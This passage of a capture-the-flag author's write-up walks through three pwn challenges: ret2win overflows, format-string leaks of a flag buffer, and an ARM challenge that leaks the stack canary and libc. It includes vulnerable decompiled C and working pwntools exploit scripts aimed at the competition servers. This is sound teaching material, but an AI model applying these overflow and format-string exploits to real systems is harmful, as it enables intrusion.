<p>As we can see, we segfault trying to return to <code class="language-plaintext highlighter-rouge">jaaaaaaa</code>, or <code class="language-plaintext highlighter-rouge">0x616161616161616a</code>. And using <code class="language-plaintext highlighter-rouge">cyclic -l jaaaaaaa</code> we can see that we have an offset of 72 bytes until <code class="language-plaintext highlighter-rouge">rip</code>. Now, where to go from here? Examining the rest of the binary we can see that there is a function called <code class="language-plaintext highlighter-rouge">global_thermo_nuclear_war()</code>, yet another movie reference.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">global_thermo_nuclear_war</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">local_118</span> <span class="p">[</span><span class="mi">264</span><span class="p">];</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"flag.txt not found"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">local_118</span><span class="p">,</span><span class="mh">0x100</span><span class="p">,</span><span class="n">local_10</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="n">local_118</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This function appears to print the flag out to us if we can call it. And with control of <code class="language-plaintext highlighter-rouge">rip</code> this is possible. We’ll have to write a python script with <code class="language-plaintext highlighter-rouge">pwntools</code> to send in 72 bytes of junk and then the address of <code class="language-plaintext highlighter-rouge">global_thermo_nuclear_war()</code>. The script to do so is below. Hope you enjoyed!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'chal'</span><span class="p">);</span>
<span class="c1">#p = elf.process()
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'gold.b01le.rs'</span><span class="p">,</span> <span class="mi">4004</span><span class="p">)</span>

<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="n">gdb_script</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
break *main
'''</span>
<span class="c1">#gdb.attach(p, gdb_script)
</span><span class="n">offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="n">offset</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'global_thermo_nuclear_war'</span><span class="p">]</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'FALKEN'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'Hello.'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'TODAY?</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'Pretty good'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'/73?</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'People make mistakes'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'GAME?</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h1 id="seeing-red--pwn">seeing-red | pwn</h1>

<p>Inspired by one of my favorite Taylor Swift songs, seeing-red is another easy-medium pwn challenge. I wanted to combine a ret2win style challenge with a format string exploit. The goal here was not to get shell even though it seems some people did, this was not my intention.</p>

<p>To start, we again distribute the challenge binary and a Dockerfile. The Dockerfile is again not needed here, just included for convenience. Let’s throw the challenge in ghidra and have a look at the <code class="language-plaintext highlighter-rouge">main()</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="n">help_me</span><span class="p">();</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"sooo... anyways whats your favorite Taylor Swift song? "</span><span class="p">);</span>
  <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">song</span><span class="p">,</span><span class="mi">200</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Ooohh! "</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="n">song</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Thats a good one!"</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Looks like it first calls the <code class="language-plaintext highlighter-rouge">help_me()</code> function, so lets take a look at that.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">help_me</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">local_48</span> <span class="p">[</span><span class="mi">64</span><span class="p">];</span>
  
  <span class="n">puts</span><span class="p">(</span><span class="s">"I was going to go to the eras tour, but something came up :("</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"You can have my ticket! Only thing is... I forgot where I put it..."</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Do you know where it could be?! "</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">local_48</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">fflush</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Wow, they can’t go AND lost their ticket? How tragic. Anyway, looks like we’ve got a buffer overflow so thats a plus! But where to go? Looking elsewhere in the binary, there is a function called <code class="language-plaintext highlighter-rouge">use_ticket()</code> that we can maybe leverage.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">use_ticket</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">__stream</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
  
  <span class="n">__stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">__stream</span> <span class="o">==</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"flag.txt not found"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">sVar1</span> <span class="o">=</span> <span class="n">fread</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="n">__stream</span><span class="p">);</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">param_1</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">sVar1</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It looks like flag.txt is being read into a global buffer. But how is this helpful, it doesn’t even print it back out? If we go back to main, there is another vulnerability in the form of a format string exploit. When we are asked what our favorite taylor swift song is, it is printed back out to us. So, we can leak things off the stack. See where I’m going?</p>

<p>If we can overflow the buffer, return to <code class="language-plaintext highlighter-rouge">use_ticket()</code> then a buffer containing the contents of flag.txt is on the stack. Then we can ensure we go back to <code class="language-plaintext highlighter-rouge">main()</code> where we can use the <code class="language-plaintext highlighter-rouge">printf()</code> vuln to leak the string out of that buffer on the stack with <code class="language-plaintext highlighter-rouge">%s</code>. To do that, we’ve gotta find a few things. One, the offset to <code class="language-plaintext highlighter-rouge">rip</code> so we can return to <code class="language-plaintext highlighter-rouge">use_ticket()</code> and the offset on the stack at which the flag.txt buffer is so we can leak it off the stack.</p>

<p>First, let’s take a look at how we can control <code class="language-plaintext highlighter-rouge">rip</code>. We’ll use the same methodology in the above challenge; generating a De Bruijn sequence and seeing how many chars are needed for the overflow.</p>

<p><img src="seeing-red/seeing-red-overflow.png" alt="" /></p>

<p>Looks like we’ve got an offset of 72 chars before we control <code class="language-plaintext highlighter-rouge">rip</code>. Using this we can start writing an exploit.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"chal"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="c1">#p = elf.process()
</span>
<span class="n">gdb_script</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
'''</span>
<span class="c1">#gdb.attach(p, gdb_script)
</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="n">offset</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'use_ticket'</span><span class="p">]</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>The above script will let us crash the buffer and return to <code class="language-plaintext highlighter-rouge">use_ticket()</code>. So where to next? Well, we’ve gotta continue execution flow to <code class="language-plaintext highlighter-rouge">main()</code> to take advantage of the <code class="language-plaintext highlighter-rouge">printf()</code> vuln. To do this, we can use <code class="language-plaintext highlighter-rouge">pwndbg</code> to find an address in <code class="language-plaintext highlighter-rouge">main()</code> to return to.</p>

<p><img src="seeing-red/seeing-red-main.png" alt="" /></p>

<p>Looks like <code class="language-plaintext highlighter-rouge">0x000000000040131f</code> is a good address to return to as it is just after the call to the <code class="language-plaintext highlighter-rouge">help_me()</code> function. So, now that we’ve gotten back to main, we can continue program execution until the <code class="language-plaintext highlighter-rouge">printf()</code> vuln which comes after we are asked for our favorite Taylor Swift song. But, how do we leak the flag? Well since there is no format specifier provided when our input is printed back out to us (see the <code class="language-plaintext highlighter-rouge">main()</code> code above) we can provide our own. For instance, we can provide <code class="language-plaintext highlighter-rouge">%s</code> to arbitrarily print a string off the stack. We can take it further and use the <code class="language-plaintext highlighter-rouge">%&lt;offset&gt;$p</code> notation to leak at specific stack offsets. For instance, we can leak the 3rd offset with <code class="language-plaintext highlighter-rouge">%3$p</code>.</p>

<p>Let’s inspect the stack before that <code class="language-plaintext highlighter-rouge">printf</code> is called to see what offset we need to leak. Remember, the global buffer is left on the stack from the previous function.</p>

<p><img src="seeing-red/seeing-red-after-useticket.png" alt="" /></p>

<p>Above we can see that after <code class="language-plaintext highlighter-rouge">use_ticket()</code> is called our flag is read into a buffer, in this case <code class="language-plaintext highlighter-rouge">0x2167490</code>.</p>

<p><img src="seeing-red/seeing-red-printf-stackoffset.png" alt="" /></p>

<p>Now, we are right at the <code class="language-plaintext highlighter-rouge">printf()</code> function in main where our input is about to be printed out. With the command <code class="language-plaintext highlighter-rouge">x/-40gx $rsp</code> we can print the values on the stack relative to the stack pointer. Note that the <code class="language-plaintext highlighter-rouge">-40gx</code> prints the values on the previous stack frames. Notice the <strong>red</strong> rectangle is our flag buffer. The <strong>green</strong> rectangle is the first offset, so what you get if you were to send in <code class="language-plaintext highlighter-rouge">%1$p</code>. From that we can calculate that we’ll need to do <code class="language-plaintext highlighter-rouge">%5$s</code> to print the string at the fifth offset, which is the flag buffer.</p>

<p>And that should do it! Below is the final script and resulting output.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"chal"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="c1">#p = elf.process()
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'gold.b01le.rs'</span><span class="p">,</span> <span class="mi">4008</span><span class="p">)</span>

<span class="n">gdb_script</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
'''</span>
<span class="c1">#gdb.attach(p, gdb_script)
</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="n">main_offset</span> <span class="o">=</span> <span class="mh">0x000000000040131f</span>
<span class="n">ret</span> <span class="o">=</span> <span class="mh">0x000000000040101a</span>
<span class="n">bruh</span> <span class="o">=</span> <span class="mh">0x00000000004012af</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="mi">64</span><span class="p">,</span>
    <span class="s">'b'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'use_ticket'</span><span class="p">],</span>
    <span class="n">ret</span><span class="p">,</span>
    <span class="n">main_offset</span>
<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="c1">#p.sendlineafter(b'song?', "%1$p")
</span><span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'song? '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'%5$s'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Note that there is an extra <code class="language-plaintext highlighter-rouge">ret</code> instruction in the exploit chain for stack alignment purposes.</p>

<p><img src="seeing-red/seeing-red-finaloutput.png" alt="" /></p>

<p>And we get the flag!</p>

<h1 id="arm-and-a-leg--pwn">arm-and-a-leg | pwn</h1>

<p>This challenge was inspired by MITRE’s eCTF as it had me learn ARM assembly. Also I think mixing the ARM architecture with a pun about something costing “an arm and a leg” is funny. I find it really interesting as ARM is a RISC architecture, which is different than x86 which is what i started with. The goal of this challenge was to leverage some fun ROP gadgets to load x0 with a pointer to <code class="language-plaintext highlighter-rouge">/bin/sh</code> and call system. However, it looks like people manually found one_gadgets in the appropriate libc. I didn’t intend this and in my opinion it isn’t as fun, but hey, whatever gets the job done, right?</p>

<p>Let’s start by looking at the main function in ghidra.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_8</span><span class="p">;</span>
  
  <span class="n">local_8</span> <span class="o">=</span> <span class="n">__stack_chk_guard</span><span class="p">;</span>
  <span class="n">setup</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__stack_chk_guard</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">puts</span><span class="p">(</span>
              <span class="s">"Hello! </span><span class="se">\n</span><span class="s">Welcome to ARMs and Legs, here for all of your literal and metaphorical need s!"</span><span class="p">);</span>
  <span class="n">print_menu</span><span class="p">(</span><span class="n">iVar1</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00400d08</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_c</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">puts</span><span class="p">(</span>
                <span class="s">"So, you</span><span class="se">\'</span><span class="s">d like to purchase an ARM...are you worthy enough to purchase such an appe ndage?"</span><span class="p">);</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">worthyness_tester</span><span class="p">(</span><span class="n">iVar1</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">get_address</span><span class="p">();</span>
      <span class="n">feedback</span><span class="p">();</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"Close, but no cigar. Maybe try a Leg?"</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">puts</span><span class="p">(</span>
                <span class="s">"So, you</span><span class="se">\'</span><span class="s">d like to purchase a Leg...are you worthy enough to purchase such an appen dage?!"</span><span class="p">);</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">worthyness_tester</span><span class="p">(</span><span class="n">iVar1</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">get_address</span><span class="p">();</span>
      <span class="n">feedback</span><span class="p">();</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"Close, but no cigar. Maybe try an ARM?"</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__stack_chk_guard</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>First, it appears as though we can make two choices; to purchase either an ARM or leg. No matter what we choose, if <code class="language-plaintext highlighter-rouge">worthyness_tester()</code> returns 0, two more functions (<code class="language-plaintext highlighter-rouge">get_address()</code>, and <code class="language-plaintext highlighter-rouge">feedback()</code>) are called, or else we exit. Let’s have a look inside the <code class="language-plaintext highlighter-rouge">worthyness_test()</code> function and see how we can get it to return 0.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">worthyness_tester</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">bool</span> <span class="n">bVar1</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">local_10</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_8</span><span class="p">;</span>
  
  <span class="n">local_8</span> <span class="o">=</span> <span class="n">__stack_chk_guard</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"What number am I thinking of?"</span><span class="p">);</span>
  <span class="n">local_c</span> <span class="o">=</span> <span class="mh">0x539</span><span class="p">;</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00400d08</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_10</span><span class="p">);</span>
  <span class="n">bVar1</span> <span class="o">=</span> <span class="n">local_c</span> <span class="o">!=</span> <span class="n">local_10</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">bVar1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Wow, you may now purchase an appendage!"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">bVar1</span><span class="p">;</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__stack_chk_guard</span><span class="p">,</span><span class="n">bVar1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Looks like in order for the function to return 0, we’ve gotta input the correct number the program is thinking of. I hardcoded it to be <code class="language-plaintext highlighter-rouge">1337</code>, which above is represented in hex as <code class="language-plaintext highlighter-rouge">0x539</code>. So, when prompted, we just have to enter that.</p>

<p>In all honesty I was gonna make a function that computed a random number that could be fun to reverse, but I was waiting to implement it till I got an exploit working. Then when I went to implement it my exploit didn’t work and I didn’t want to rewrite everything. Plus I figured that’d just add an extra unnecessary step.</p>

<p>Next we’ll look at the first function that runs after we guess the “random” number successfully which is <code class="language-plaintext highlighter-rouge">get_address()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">get_address</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">acStack48</span> <span class="p">[</span><span class="mi">40</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">local_8</span><span class="p">;</span>
  
  <span class="n">local_8</span> <span class="o">=</span> <span class="n">__stack_chk_guard</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\t</span><span class="s">Could we have an address to ship said appendage? "</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00400ea0</span><span class="p">,</span><span class="n">acStack48</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Thanks, we will ship to: "</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="n">acStack48</span><span class="p">);</span>
  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
  <span class="n">clear_buffer</span><span class="p">(</span><span class="n">iVar1</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__stack_chk_guard</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">local_8</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Upon successful purchase of an appendage, it looks like we have to give an address to ship it. If you’ll notice, once we give an input, our “address” is printed back out to us with <code class="language-plaintext highlighter-rouge">printf()</code>, again with no format specifier!</p>

<p>Yes, I like <code class="language-plaintext highlighter-rouge">printf()</code> exploits.</p>

<p>Anyway, we can use this to leak values off the stack. We’ll need leaks for libc and for the canary. So, lets build the start of an exploit script and see if we can’t find some useful addresses.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'chalarm'</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libc.so.6'</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'ld-linux-aarch64.so.1'</span><span class="p">)</span>

<span class="c1">#p = process('qemu-aarch64 -g 1234 chal'.split())
#p = process('qemu-aarch64 chal'.split())
</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'arm-and-a-leg.gold.b01le.rs'</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'2. Legs</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'of?</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'1337'</span><span class="p">)</span>
<span class="c1"># These are leaks for chal with pie
</span><span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'appendage? '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'%21$p%19$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">leaks</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)</span>
<span class="c1"># libc_start_main + 152 is at the 21st offset MAKE SURE TO SUBTRACT 152 FROM THE LEAK
</span><span class="n">libc_start_main_leak</span> <span class="o">=</span> <span class="n">leaks</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">libc_start_main</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">libc_start_main_leak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mi">152</span>

<span class="c1"># Canary at 19th offset
</span><span class="n">canaryleak</span> <span class="o">=</span> <span class="n">leaks</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">canaryleak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>

